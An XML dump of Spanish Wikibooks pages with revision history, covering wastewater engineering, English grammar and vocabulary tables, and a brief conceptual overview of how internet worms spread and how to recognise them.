# [[Ingeniería de aguas residuales/Eliminación biológica de nutrientes|'''Eliminación biológica de nutrientes''']]
# [[Ingeniería de aguas residuales/Línea de fangos|'''Línea de fangos''']]
# [[Ingeniería de aguas residuales/Destino final de fangos|'''Destino final de fangos''']]
# [[Ingeniería de aguas residuales/Diseño de procesos en digestión anaerobia|'''Diseño de procesos en digestión anaerobia''']]
# [[Ingeniería de aguas residuales/Desinfección de las aguas residuales|'''Desinfección de las aguas residuales''']]
# [[Ingeniería de aguas residuales/Reutilización de las aguas residuales|'''Reutilización de las aguas residuales''']]
# [[Ingeniería de aguas residuales/Cálculos hidráulicos|'''Cálculos hidráulicos''']]
# [[Ingeniería de aguas residuales/Gestión de depuradoras|'''Gestión de depuradoras''']]
# [[Ingeniería de aguas residuales/Contaminación industrial|'''Contaminación industrial''']]
# [[Ingeniería de aguas residuales/Proceso de tratamientos de aguas industriales|'''Proceso de tratamientos de aguas industriales''']]
# [[Ingeniería de aguas residuales/Proceso de potabilización|'''Proceso de potabilización''']]
&lt;noinclude&gt;
== Véase también ==
* '''[[Ingeniería de aguas residuales/Versión para imprimir|Versión para imprimir]]'''&lt;/noinclude&gt;
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>t5honbrbkfcvutnnk6t9mfr68dfly64</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Enlaces</title>
    <ns>0</ns>
    <id>19481</id>
    <revision>
      <id>429975</id>
      <parentid>154121</parentid>
      <timestamp>2026-08-02T09:31:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429975</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="230" sha1="9x91uvkdhn2u6u82x4bavmrqig22q1o" xml:space="preserve">{{-wikipedia|Agua|Agua}}
[[Categoría:Ingeniería de aguas residuales|*Enlaces]]
*[http://www.cib.espol.edu.ec/bivir/tesis.asp?tco=2B425E565B5A584F4F4F4F4F4F Paper para mejoramiento de tratamiento de aguas residuales]

{{AutoCat}}</text>
      <sha1>9x91uvkdhn2u6u82x4bavmrqig22q1o</sha1>
    </revision>
    <revision>
      <id>429976</id>
      <parentid>429975</parentid>
      <timestamp>2026-08-02T09:32:36Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429976</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="252" sha1="h8yn6blv9dh5hy8c0ui6fsyhp96foly" xml:space="preserve">{{-wikipedia|Agua|Agua}}
[[Categoría:Ingeniería de aguas residuales|*Enlaces]]
*[http://www.cib.espol.edu.ec/bivir/tesis.asp?tco=2B425E565B5A584F4F4F4F4F4F Paper para mejoramiento de tratamiento de aguas residuales]
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>h8yn6blv9dh5hy8c0ui6fsyhp96foly</sha1>
    </revision>
    <revision>
      <id>429985</id>
      <parentid>429976</parentid>
      <timestamp>2026-08-02T09:38:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Ingeniería de aguas residuales]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429985</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="196" sha1="36qggh7pndxv5yjx2r6ugiwfmu2dedh" xml:space="preserve">{{-wikipedia|Agua|Agua}}
*[http://www.cib.espol.edu.ec/bivir/tesis.asp?tco=2B425E565B5A584F4F4F4F4F4F Paper para mejoramiento de tratamiento de aguas residuales]
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>36qggh7pndxv5yjx2r6ugiwfmu2dedh</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Introducción</title>
    <ns>0</ns>
    <id>19482</id>
    <revision>
      <id>429973</id>
      <parentid>398871</parentid>
      <timestamp>2026-08-02T09:31:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429973</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1663" sha1="fpx1hce7z3w6aopshu6ob2ghovbapyp" xml:space="preserve">&lt;div style=&quot;font-family:Verdana;&quot;&gt;  
El '''agua''', como motor de desarrollo y fuente de riqueza, ha constituido uno de los pilares fundamentales para el progreso del hombre.

La ordenación y gestión de los recursos hídricos, que ha sido desde siempre un objetivo prioritario para cualquier sociedad, se ha realizado históricamente bajo directrices orientadas a satisfacer la demanda en cantidades suficientes, bajo una perspectiva de política de oferta.

El incremento de la oferta de agua como herramienta para el impulso económico, el mayor nivel de '''contaminación''', irremisiblemente asociado a un mayor nivel de desarrollo, algunas características naturales (sequías prolongadas, inundaciones) y en definitiva una sobreexplotación de los recursos hídricos han conducido a un deterioro importante de los mismos.

Esto ha hecho necesario un cambio en los planteamientos sobre política de aguas, que han tenido que evolucionar desde una simple satisfacción en cantidad de las demandas, hacia una gestión que contempla la calidad del recurso y la '''protección del mismo''' como garantía de un abastecimiento futuro y de un '''desarrollo sostenible'''.

La ''ley de aguas de 1.985 y su modificación por la ley 46/1.999 de 13 de diciembre,'' junto con la nueva ''Directiva Marco'' europea para la política de agua suponen un cambio importante en los conceptos y criterios utilizados en la planificación hidrológica e introducen la calidad de las aguas y la protección de los recursos hídricos como puntos fundamentales para estructurar dicha planificación.
&lt;/div&gt;
[[Categoría:Ingeniería de aguas residuales|*Introduccion]]

{{AutoCat}}</text>
      <sha1>fpx1hce7z3w6aopshu6ob2ghovbapyp</sha1>
    </revision>
    <revision>
      <id>429986</id>
      <parentid>429973</parentid>
      <timestamp>2026-08-02T09:38:09Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Ingeniería de aguas residuales]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429986</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1601" sha1="fwyr9xqpp0pgfp6sh1fbyzvuyc9ypkc" xml:space="preserve">&lt;div style=&quot;font-family:Verdana;&quot;&gt;  
El '''agua''', como motor de desarrollo y fuente de riqueza, ha constituido uno de los pilares fundamentales para el progreso del hombre.

La ordenación y gestión de los recursos hídricos, que ha sido desde siempre un objetivo prioritario para cualquier sociedad, se ha realizado históricamente bajo directrices orientadas a satisfacer la demanda en cantidades suficientes, bajo una perspectiva de política de oferta.

El incremento de la oferta de agua como herramienta para el impulso económico, el mayor nivel de '''contaminación''', irremisiblemente asociado a un mayor nivel de desarrollo, algunas características naturales (sequías prolongadas, inundaciones) y en definitiva una sobreexplotación de los recursos hídricos han conducido a un deterioro importante de los mismos.

Esto ha hecho necesario un cambio en los planteamientos sobre política de aguas, que han tenido que evolucionar desde una simple satisfacción en cantidad de las demandas, hacia una gestión que contempla la calidad del recurso y la '''protección del mismo''' como garantía de un abastecimiento futuro y de un '''desarrollo sostenible'''.

La ''ley de aguas de 1.985 y su modificación por la ley 46/1.999 de 13 de diciembre,'' junto con la nueva ''Directiva Marco'' europea para la política de agua suponen un cambio importante en los conceptos y criterios utilizados en la planificación hidrológica e introducen la calidad de las aguas y la protección de los recursos hídricos como puntos fundamentales para estructurar dicha planificación.
&lt;/div&gt;
{{AutoCat}}</text>
      <sha1>fwyr9xqpp0pgfp6sh1fbyzvuyc9ypkc</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Anexo/Inglés americano</title>
    <ns>0</ns>
    <id>19843</id>
    <revision>
      <id>429866</id>
      <parentid>164775</parentid>
      <timestamp>2026-08-01T22:06:55Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429866</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1756" sha1="mfxkyqlq2de8pvce9rnzo7kzp3japwo" xml:space="preserve">El '''inglés''' es un idioma muy extendido, de manera que, a lo largo del tiempo ha dado lugar a nuevas variaciones, muchas veces poco importantes. El inglés hablado en América o ''American English'' (generalmente en [[:w:es:Estados Unidos|Estados Unidos]]) tiene pequeñas variaciones casi únicamente en el vocabulario, pero es recomendable aprenderlas antes de viajar allí, a veces podríamos hacer un lío a un estadounidense hablando un inglés británico. Un ejemplo peculiar es que en inglés británico se dice '''''film''''', &quot;película&quot;, mientras que en el estadounidense sólo se usa '''''movie'''''.

Hay algunas reglas generales que nos permiten traducir una palabra británica a la americana (pero no siempre):
*Las palabras británicas terminadas en '''-our''' terminan en '''-or''' en inglés americano: Harbour - Harbor.
*Las palabras británicas terminadas en '''-re''' terminan en '''-er''' en inglés americano. Centre - Center.
*Las palabras británicas terminadas en '''-ogue''' terminan en '''-og''' en inglés americano. Dialogue - Dialog.
:A continuación te damos una lista con las variaciones más importantes.

==VOCABULARY - VOCABULARIO==


{| border=&quot;1&quot;
!Inglés británico
!Inglés americano
!Traducción
|-
|Film
|Movie
|''Película o filme''
|-
|Harbour, colour, neighbour
|Harbor, color, neighbor
|''Puerto, color, vecindario''
|-
|Underground
|Subway
|''Metro (vía subterránea)''
|-
|Centre, theatre
|Center, theater
|''Centro, teatro''
|-
|Biscuit
|Cookie
|''Galleta, galletita''
|-
|Dialogue, catalogue
|Dialog, catalog
|''Diálogo, catálogo''
|-
|Flat
|Apartment
|''Apartamento o piso''
|-
|Lift
|Elevator
|''Ascensor''
|-
|Licence
|License
|''Licencia''
|-


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>mfxkyqlq2de8pvce9rnzo7kzp3japwo</sha1>
    </revision>
    <revision>
      <id>429893</id>
      <parentid>429866</parentid>
      <timestamp>2026-08-01T22:09:06Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429893</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1716" sha1="piizedwncdrw8pn5ld7jzwa45ac53e7" xml:space="preserve">El '''inglés''' es un idioma muy extendido, de manera que, a lo largo del tiempo ha dado lugar a nuevas variaciones, muchas veces poco importantes. El inglés hablado en América o ''American English'' (generalmente en [[:w:es:Estados Unidos|Estados Unidos]]) tiene pequeñas variaciones casi únicamente en el vocabulario, pero es recomendable aprenderlas antes de viajar allí, a veces podríamos hacer un lío a un estadounidense hablando un inglés británico. Un ejemplo peculiar es que en inglés británico se dice '''''film''''', &quot;película&quot;, mientras que en el estadounidense sólo se usa '''''movie'''''.

Hay algunas reglas generales que nos permiten traducir una palabra británica a la americana (pero no siempre):
*Las palabras británicas terminadas en '''-our''' terminan en '''-or''' en inglés americano: Harbour - Harbor.
*Las palabras británicas terminadas en '''-re''' terminan en '''-er''' en inglés americano. Centre - Center.
*Las palabras británicas terminadas en '''-ogue''' terminan en '''-og''' en inglés americano. Dialogue - Dialog.
:A continuación te damos una lista con las variaciones más importantes.

==VOCABULARY - VOCABULARIO==


{| border=&quot;1&quot;
!Inglés británico
!Inglés americano
!Traducción
|-
|Film
|Movie
|''Película o filme''
|-
|Harbour, colour, neighbour
|Harbor, color, neighbor
|''Puerto, color, vecindario''
|-
|Underground
|Subway
|''Metro (vía subterránea)''
|-
|Centre, theatre
|Center, theater
|''Centro, teatro''
|-
|Biscuit
|Cookie
|''Galleta, galletita''
|-
|Dialogue, catalogue
|Dialog, catalog
|''Diálogo, catálogo''
|-
|Flat
|Apartment
|''Apartamento o piso''
|-
|Lift
|Elevator
|''Ascensor''
|-
|Licence
|License
|''Licencia''
|-


{{AutoCat}}</text>
      <sha1>piizedwncdrw8pn5ld7jzwa45ac53e7</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Verbos regulares e irregulares</title>
    <ns>0</ns>
    <id>20755</id>
    <revision>
      <id>429818</id>
      <parentid>387563</parentid>
      <timestamp>2026-08-01T22:01:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429818</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7466" sha1="po3p8efw3fg9j5lpj0bamrcidplreay" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;

{| border=&quot;1&quot; align=&quot;center&quot;
!Infinitive
!Past
!Past participle
!Traducción
|- 
| abide
| abode
| abode
| Habitar, soportar
|- 
| arise
| arose
| arisen
| surgir
|- 
| awake
| awoke
| awoken
| despertar
|- 
| be
| was/were
| been
| Ser, estar
|- 
| bear
| bore
| bore/born
| Llevar, soportar, dar a luz (to be born = nacer)
|- 
| beat
| beat
| beaten
| Golpear, vencer
|- 
| become
| became
| become
| Llegar a ser, convertirse en
|- 
| begin
| began
| begun
| Empezar, comenzar
|- 
| bend
| bent
| bent
| Doblar, curvarse
|- 
| bereave
| bereft/bereaved
| bereft/bereaved
| Privar
|- 
| beseech
| besought
| besought
| Suplicar (literario)
|- 
| bet
| bet
| bet
| Apostar
|- 
| bid
| bid
| bid
| Decir, rogar
|- 
| bid
| bid
| bid
| Pujar, ofertar
|- 
| bind
| bound
| bound
| Atar, unir, encuadernar
|- 
| bite
| bit
| bitten
| Morder
|- 
| bleed
| bled
| bled
| Sangrar
|- 
| blow
| blew
| blown
| Soplar
|- 
| break
| broke
| broken
| Romper
|- 
| bring
| brought
| brought
| Traer
|- 
| build
| built
| built
| Construir
|- 
| burn
| burnt/burned
| burnt/burned
| Quemar
|- 
| burst
| burst
| burst
| Estallar
|- 
| buy
| bought
| bought
| Comprar
|- 
| cast
| cast
| cast
| Tirar
|- 
| catch
| caught
| caught
| Coger, agarrar
|- 
| chide
| bhid
| chidden/chid
| Reprender 
|- 
| choose
| chose
| chosen
| Elegir
|- 
| cleave
| cleft
| cleft
| Hender
|- 
| cling
| clung
| clung
| Adherirse
|- 
| come
| came
| come
| Venir
|- 
| cost
| cost
| cost
| Costar
|- 
| creep
| crept
| crept
| Arrastrarse
|- 
| cut
| cut
| cut
| Cortar
|- 
| deal
| dealt
| dealt
| Tratar
|- 
| dig
| dug
| dug
| Cavar
|- 
| dive
| dove
| dived
| Sumergirse, zambullirse
|- 
| do
| did
| done
| Hacer
|- 
| draw
| drew
| drawn
| Dibujar
|- 
| dream
| dreamt/dreamed
| deamt/dreamed
| Soñar
|- 
| drink
| drank
| drunk
| Beber
|- 
| drive
| drove
| driven
| Conducir
|- 
| dwell
| dwelt
| dwelt
| Residir
|- 
| eat
| ate
| eaten
| Comer
|- 
| fall
| fell
| fallen
| Caerse
|- 
| feed
| fed
| fed
| Alimentar
|- 
| feel
| felt
| felt
| Sentir
|- 
| fight
| fought
| fought
| Luchar
|- 
| find
| found
| found
| Encontrar
|- 
| flee
| fled
| fled
| Huir
|- 
| fling
| flung
| flung
| Lanzar
|- 
| fly
| flew
| flown
| Volar
|- 
| forbid
| forbad/Forbade
| forbidden
| Prohibir
|- 
| forget
| forgot
| forgotten
| Olvidar
|- 
| forgive
| forgave
| forgiven
| Perdonar
|- 
| freeze
| froze
| frozen
| Congelar
|- 
| get
| got
| gotten
| Conseguir
|- 
| give
| gave
| given
| Dar
|- 
| go
| went
| gone
| Ir
|- 
| grind
| ground
| ground
| Moler, triturar
|- 
| grow
| grew
| grown
| Crecer
|- 
| hang
| hung
| hung
| Colgar
|- 
| have
| had
| had
| Tener
|- 
| hear
| heard
| heard
| Oir
|- 
| hew
| hewed
| hewn
| Picar, labrar piedra (raro)
|- 
| hide
| hid
| hidden
| Esconder
|- 
| hit
| hit
| hit
| Golpear
|- 
| hold
| held
| held
| Sujetar
|- 
| hurt
| hurt
| hurt
| Herir
|- 
| keep
| kept
| kept
| Mantener, conservar
|- 
| kneel
| knelt
| knelt
| Arrodillarse
|- 
| knit
| knit
| knit
| Tejer,hacer punto
|- 
| know
| knew
| known
| Saber, conocer
|- 
| Lade
| Laded
| Laden
|  Cargar (raro, excepto participio)
|- 
| lay
| laid
| laid
| Poner, extender
|- 
| lead
| led
| led
| Dirigir
|- 
| lead
| led
| led
| Guiar
|- 
| lean
| leant
| leant
| Apoyar(se)
|- 
| leap
| leapt
| leapt
| Saltar
|- 
| learn
| learnt
| learnt
| Aprender
|- 
| leave
| left
| left
| Dejar, abandonar
|- 
| lend
| lent
| lent
| Prestar
|- 
| let
| let
| let
| Permitir
|- 
| lie
| lay
| lain
| Tumbarse
|- 
| lie
| lied
| lied
| Mentir
|- 
| light
| lit
| lit
| Iluminar
|- 
| lose
| lost
| lost
| Perder
|- 
| make
| made
| made
| Construir
|- 
| mean
| meant
| meant
| Significar
|- 
| meet
| met
| met
| Encontrase con alguien
|- 
| melt
| melted
| molten/melted
| Derretir (metales)
|- 
| mow
| mowed
| mown
| Segar
|-  
| paint
| painted
| painted
| Pintar
|- 
| pay
| paid
| paid
| Pagar
|- 
| put
| put
| put
| Poner
|- 
| quit
| quit
| quit
| Dejar, irse
|- 
| read
| read
| read
| Leer
|- 
| rend
| rent
| rent
| Partir, despedazar
|- 
| rid
| rid
| rid
| Librar
|- 
| ride
| rode
| ridden
| Montar
|- 
| ring
| rang
| rung
| Sonar, tocar el timbre
|- 
| rise
| rose
| risen
| Elevar, alzarse
|- 
| run
| ran
| run
| Correr
|- 
| saw
| sawed
| sawn
| Serrar
|- 
| say
| said
| said
| Decir
|- 
| see
| saw
| seen
| Ver
|- 
| seek
| sought
| sought
| Buscar
|- 
| sell
| sold
| sold
| Vender
|- 
| send
| sent
| sent
| Enviar
|- 
| set
| set
| set
| Colocar
|- 
| sew
| sewed
| sewn
| Coser
|- 
| shake
| shook
| shaken
| Sacudir, agitar
|- 
| shear
| shore
| shorn
| Esquilar
|- 
| shine
| shone
| shone
| Brillar
|- 
| shoe
| shod
| shod
| Herrar
|- 
| shoot
| shot
| shot
| Disparar
|- 
| show
| showed
| shown
| Mostrar
|- 
| shrink
| shrank
| shrunk/Shrunken
| Encoger, rehuir
|- 
| shut
| shut
| shut
| Cerrar
|- 
| sing
| sang
| sung
| Cantar
|- 
| sink
| sank
| sunk
| Hundir(se)
|- 
| sit
| sat
| sat
| Sentarse
|- 
| slay
| slew
| slain
| Matar(literario)
|- 
| sleep
| slept
| slept
| Dormir
|- 
| slide
| slid
| slid
| Deslizarse, resbalar
|- 
| sling
| slung
| slung
| Tirar (con honda)
|- 
| slink
| slunk
| slunk
| Escabullirse
|- 
| slit
| slit
| slit
| Rajar
|- 
| smell
| smelt
| smelt
| Oler
|- 
| smite
| smote
| smitten
| Golpear
|- 
| sow
| sowed
| sown
| Sembrar
|- 
| speak
| spoke
| spoken
| Hablar
|- 
| speed
| sped
| sped
| Acelerar
|- 
| spell
| spelt
| spelt
| Deletrear
|- 
| spend
| spent
| spent
| Gastar, emplear
|- 
| spill
| spilt
| spilt
| Derramar
|- 
| spin
| spun
| spun
| Hilar, girar
|- 
| spit
| spat
| spat
| Escupir
|- 
| split
| split
| split
| Partir, hender
|- 
| spoil
| spoilt
| spoilt
| Estropear, mimar
|- 
| spread
| spread
| spread
| Esparcir
|- 
| spring
| sprang
| sprung
| Brotar, saltar
|- 
| stand
| stood
| stood
| Estar o ponerse de pie
|- 
| steal
| stole
| stolen
| Robar
|- 
| stick
| stuck
| stuck
| Pegar, fijar
|- 
| sting
| stung
| stung
| Picar
|- 
| stink
| stank
| stunk
| Apestar
|- 
| strew
| strewed
| strewn
| Esparcir, rociar
|- 
| stride
| strode
| stridden
| Andar a zancadas
|- 
| strike
| struck
| struck/striken
| Golpear, atacar
|- 
| string
| strung
| strung
| Encordar, afinar un instrumento musical
|- 
| strive
| strove
| striven
| Esforzarse, ingeniárselas
|- 
| swear
| swore
| sworn
| Jurar
|- 
| sweep
| swept
| swept
| Barrer
|- 
| swell
| swelled
| swollen/swelled
| Hincharse
|- 
| swim
| swam
| swum
| Nadar
|- 
| swing
| swung
| swung
| Balancearse, columpiarse
|- 
| take
| took
| taken
| Coger
|- 
| teach
| taught
| taught
| Enseñar, educar
|- 
| tear
| tore
| torn
| Rasgar
|- 
| tell
| told
| told
| Contar, explicar
|- 
| think
| thought
| thought
| Pensar
|- 
| thrive
| throve
| thriven
| Florecer, prosperar
|- 
| throw
| threw
| thrown
| Arrojar, tirar
|- 
| thrust
| thrust
| thrust
| Meter, empujar, introducir
|- 
| tread
| trod
| trodden
| Pisar, hollar
|- 
| understand
| understood
| understood
| Comprender, entender
|- 
| wake
| woke
| woken
| Despertarse
|- 
| wear
| wore
| worn
| Llevar puesto, usar
|- 
| weave
| wove/weaved
| woven/weaved
| Tejer
|- 
| weep
| wept
| wept
| Sollozar
|- 
| wet
| wet/wetted
| wet/wetted
| Mojar
|- 
| win
| won
| won
| Ganar
|-
| wind
| wound
| wound
| Dar cuerda, enrollar
|-
| withhold
| withheld
| withheld
| Retener
|- 
| wring
| wrung
| wrung
| Retorcer
|- 
| write
| wrote
| written
| Escribir

|}


vea también: [[Inglés/Gramática/Verbos regulares e irregulares/test]]

{{AutoCat}}</text>
      <sha1>po3p8efw3fg9j5lpj0bamrcidplreay</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Sustantivos posesivos</title>
    <ns>0</ns>
    <id>20812</id>
    <revision>
      <id>429791</id>
      <parentid>352753</parentid>
      <timestamp>2026-08-01T21:58:47Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429791</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="848" sha1="mobsw8qous5tp8prelys74f0e6nf58c" xml:space="preserve">En español, los sustantivos posesivos son formados cuando pone &lt;b&gt;&quot;de&quot;&lt;/b&gt; enfrente del sustantivo.

Ejemplos: La camisa de José. La bicicleta del niño.

Cuando ponemos &lt;b&gt;&quot;de&quot;&lt;/b&gt; enfrete de José y niño, se hacen sustantivos posesivos.

En inglés, hay dos maneras de formar posesivos. Como español, cuando pone  &lt;b&gt;&quot;of&quot;&lt;/b&gt; enfrente del sustantivo, el sustantivo se hace posesivo.
&lt;b&gt;&quot;Of&quot;&lt;/b&gt; significa &quot;de&quot; en español.

La otra manera de formar posesivos es poner &lt;b&gt;'s&lt;/b&gt; al término de la palabra. Pero cuando la palabra ya termina en &lt;b&gt;&quot;s&quot;,&lt;/b&gt;, únicamente se pone &lt;b&gt;'&lt;/b&gt; .

Ejemplos: &lt;b&gt;Tom's bike (La bicicleta de Tomás). The child's shirt (La camisa de la niña). The farmers' corn (El maíz de los campesinos).&lt;/b&gt;

Ambas de las maneras para formar los posesivos pueden ser usadas intercambiablemente en inglés.

{{AutoCat}}</text>
      <sha1>mobsw8qous5tp8prelys74f0e6nf58c</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Malware/Gusano De Internet</title>
    <ns>0</ns>
    <id>21160</id>
    <revision>
      <id>429781</id>
      <parentid>333962</parentid>
      <timestamp>2026-08-01T21:33:36Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429781</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2669" sha1="tn401ubyzoir08px07qcga0gr9v77k0" xml:space="preserve">Son programas completos, que tienen, a direfencia de los virus, no se insertan en archivos, residen en la memoria (en pocas palabras, se copian en el disco duro del ordenador infectado). Su area de trabajo es en el internet, donde tienden a tratar de copiarse a otros ordenadores.


==Maneras de reconocerlos==
*En Windows, poseen extensiones .scr, .exe, .vbs, .pif, lo curioso es que en este último, la extensión Pif es un ejecutable de Ms-dos, pero al ver su código con un editor Hexadecimal, posee la oración &quot;This program cannot be runned in Dos Mode!&quot; indicando qiue es un .exe enmascarado.
*Al ejecutar un archivo, el ordenador hace señas de que está haciendo una tarea, pero no se ve una respuesta, por ejemplo, la luz de Lectura/Escritura de disco titila por mucho tiempo.
*Durante las siguientes sesiones, el ordenador trabaja más lento de lo normal.
*Perdida de archivos, o estos no funcionan, haciendo más lento el ordenador.
*Imágenes, sonidos, o modificaciones de la interfaz de usuario con mensajes o herramientas deshabilitadas.
*El Ancho de banda se ve reducida, pero no se explica.
*En redes corporativas, los servidores sufren de Ancho de banda superado.
*La computadora se apaga automaticamente por el cierre inesperado de un servicio.
Estos a diferencia de los virus, son aplicaciones que se copian, e incluso poseen programas de instalacion, como [[:m:w:es:UPX|UPX]]

==[[Metodos de infección]]==
===Vulnerabilidades===
Son errores de código que permiten la ejecución de un código &quot;remotamente&quot;, es decir, desde otra terminal.

Se basa en que hay una minoría de ususarios que parchean su sistema, y por lo general, su actividad consiste en:

*Busca ordenadores conectados a la red, ya sea al asar, o por direcciones predefinidas.

*Se conecta a un puerto, y hace una llamada al agujero de seguridad.

*Una vez que ha logrado hacerse del código, manda una copia suya que es ejecutada por la vulnerabilidad.

En este momento, el siguiente ciclo es la instalación del gusano en el ordenador-victima.

*Crea su archivo en un lugar del disco.

*Modifica el registro para ser ejecutado cada vez que se inicia el equipo.

*Puede crear un Mutex, que impide que se ejecute varas veces en un mismo ordenador.

*Vuelve a buscar victimas, repitiendo el ciclo.

*Tareas adicionales: Otros procesos, como perdida de datos o captura de inrformación sensible, como contraseñas y nombres de usuarios. O el envío de paquetes a un servidor, para hacer un ataque DoS.


Ejemplos más destacados son la familia Sasser y Blaster, los cuales, infectaron un número considerable de ordenadores en días.

===Vulnerabilidades de Navegador===

{{AutoCat}}</text>
      <sha1>tn401ubyzoir08px07qcga0gr9v77k0</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Las conjunciones</title>
    <ns>0</ns>
    <id>28968</id>
    <revision>
      <id>429820</id>
      <parentid>367773</parentid>
      <timestamp>2026-08-01T22:01:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429820</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11438" sha1="dlw1uepfjizn70qeds40didou51hr4q" xml:space="preserve">ESTOS SON LOS CONECTORES EN INGLÉS by Gemma Ll.P. 


1) Los '''conectores copulativos''' son aquellos que unen algo a lo ya mencionado. Algunos de ellos son: and / not only ... but also ... / both ... and .../ no sooner ... than.

'''and - y''' 

He played the guitar '''and''' sang wonderful songs. 
El tocó la guitarra ''y'' cantó maravillosas canciones.


'''not only...but also... - no sólo...sino también...'''

Mary '''not only''' plays the guitar '''but also''' the violin. 
Mary ''no sólo'' toca la guitarra ''sino también'' el violín.


'''not only...but...as well - no sólo...sino...también'''

She is '''not only''' beautiful '''but''' very intelligent '''as well'''. 
Ella ''no sólo'' es hermosa ''sino'' que es muy inteligente ''también''. 


'''both...and... - tanto...como... / ambas cosas''' 

Many politicians desire '''both''' money '''and''' power. 
Muchos políticos desean ''tanto'' dinero ''como'' poder. 


'''no sooner...than... - apenas...cuando...'''

The baker had '''no sooner''' turned off the oven '''than''' the last customers arrived. 

El panadero ''apenas'' había apagado el horno ''cuando'' llegaron los últimos clientes.


2) Los '''conectores disyuntivos''' indican elección, separan o diferencian dos términos. En inglés, algunos de ellos son: or, either ... or .../ neither ... nor .../else / otherwise.

'''or - o''' 

We'd better leave right now '''or''' we'll miss our bus.

Es mejor que nos vayamos ahora ''o'' perderemos el autobús.


'''either...or... - o...o...''' 

'''Either''' you shut your mouth and listen '''or''' you leave the class.

''O'' te callas la boca y escuchas,'' o'' te vas de la clase. 


'''neither...nor... - no...ni...''' 

The musician '''neither''' played the piano well '''nor''' sang good songs. 

El músico ''no'' tocó bien el piano ''ni'' cantó buenas canciones.


'''whether...or... - si...o...''' 

We must decide '''whether''' to go there today '''or''' tomorrow.

Debemos decidir ''si'' ir allí hoy ''o'' mañana.


'''or else... - o sino...''' 

We have to hurry up, '''or else''' we'll miss our bus.

Tenemos que apurarnos ''o de lo contrario'' perderemos el autobús.


'''otherwise - de otro modo''' 

You'll have to hurry up, '''otherwise''' you'll be late.

Tendrás que darte prisa, ''de otro modo'' llegarás tarde.


3) Los '''conectores condicionales''' son aquellos que indican condición para la realización de algo. Algunos de ellos son: if, whether, unless, provided, as long as, in case, in case of. 

'''if - si''' 

What shall we do, '''if''' they don't accept the offer?

¿Qué haremos ''si'' ellos no aceptan la oferta?


'''whether - si'''

I don't know '''whether''' they will agree on that subject.

No sé ''si'' ellos estarán de acuerdo en ese tema. 


'''unless - a menos que'''

You won't pass the exam '''unless''' you study harder.

No pasarás el examen ''a menos que'' estudies más duro.  


'''provided / providing - siempre que, mientras''' 

We'll go fishing this afternoon, '''provided''' it doesn't rain.

Iremos a pescar esta tarde, ''siempre que'' no llueva.


'''as long as - siempre que, mientras''' 

You can stay here '''as long as''' you work hard.

Te puedes quedar aquí ''mientras'' trabajes duro.


'''in case - en caso de que, por si'''

Call this phone number '''in case''' you get lost. 

Llama a este número de teléfono ''en caso de que'' te pierdas.


4) Los '''conectores concesivos''' se utilizan para señalar una objeción o reparo a lo dicho anteriormente. Entre otros encontramos: although, even if, despite, in spite of, regardless of. 

'''although / though / even though - aunque, a pesar de que, si bien'''

'''Although''' Jack is not very tall, he is excellent at basketball.

''Aunque'' Jack no es muy alto, es excelente en el baloncesto.


'''even if - incluso si, si bien, aún si'''

'''Even if''' he’s right, that doesn’t give him the right to be arrogant.

''Incluso si'' él tiene razón, eso no le da el derecho de ser arrogante. 


'''not even if - ni siquiera si'''

